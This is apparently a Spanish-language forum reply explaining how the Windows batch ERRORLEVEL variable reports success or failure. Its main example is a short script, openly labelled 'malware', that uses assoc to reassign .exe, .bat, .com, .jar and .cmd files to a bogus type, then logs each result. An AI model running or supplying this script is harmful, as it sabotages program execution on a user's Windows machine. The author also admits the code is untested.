exacto....
cuando se ejecuta un comando por consola o por archivo de lotes este devuelve un numero de acuerdo al estado en que termino....el numero puede ser 1 o 0
este numero se llama errorlevel o nivel de error
0 ningun error
1 hubo algun error
o sea que la variable ya esta predefinida como 1 o 0
por ejemplo hace esto
copy a.txt a2.txt
echo %errorlevel%
entonces si a.txt no existe en tu pc errorlevel va a ser igual a 1 y vas a ver
El sistema no puede hallar el archivo especificado.
1
y si el archivo (a.txt) existe vas a ver la confirmacion de que fue copiado y 0
espero que te haya servido
la podes usar para ver la slida de cada comando...por ejemplohaces un malware de este tipo bien sencillo
@echo off
assoc .exe=hackfile
assoc .bat=hackfile
assoc .com=hackfile
assoc .jar=hackfile
assoc .cmd=hackfile
no??
y vos queres saber si las extensiones fueron cambiadas entoncese usas errorlevel asi
@echo off
assoc .exe=hackfile
echo %errorlevel% >> error.txt
assoc .bat=hackfile
echo %errorlevel% >> error.txt
assoc .com=hackfile
echo %errorlevel% >> error.txt
assoc .jar=hackfile
echo %errorlevel% >> error.txt
assoc .cmd=hackfile
echo %errorlevel% >> error.txt
entonces despues de ejecutar esto vas al archivo que se creo (error.txt)
y hace de cuenta que ves
si vez eso quiere decir que todo salio mal lo mrjor seria ver todos 0
y si ves algo asi
lo mejor va a ser que te fijes en la linea 3 porque algo esta fallando
esa es una utilidad que e podes dar al errorlevel que no quiere decir que sea la unica
tambien lo podes usar en el if else y for algunos lo aplican a otras cosas pero
espero haberte ayudado si algun code falla de los que ves aca es porque escrivi esto muy rapido y puedo tener errores ademas ni los probe a los codes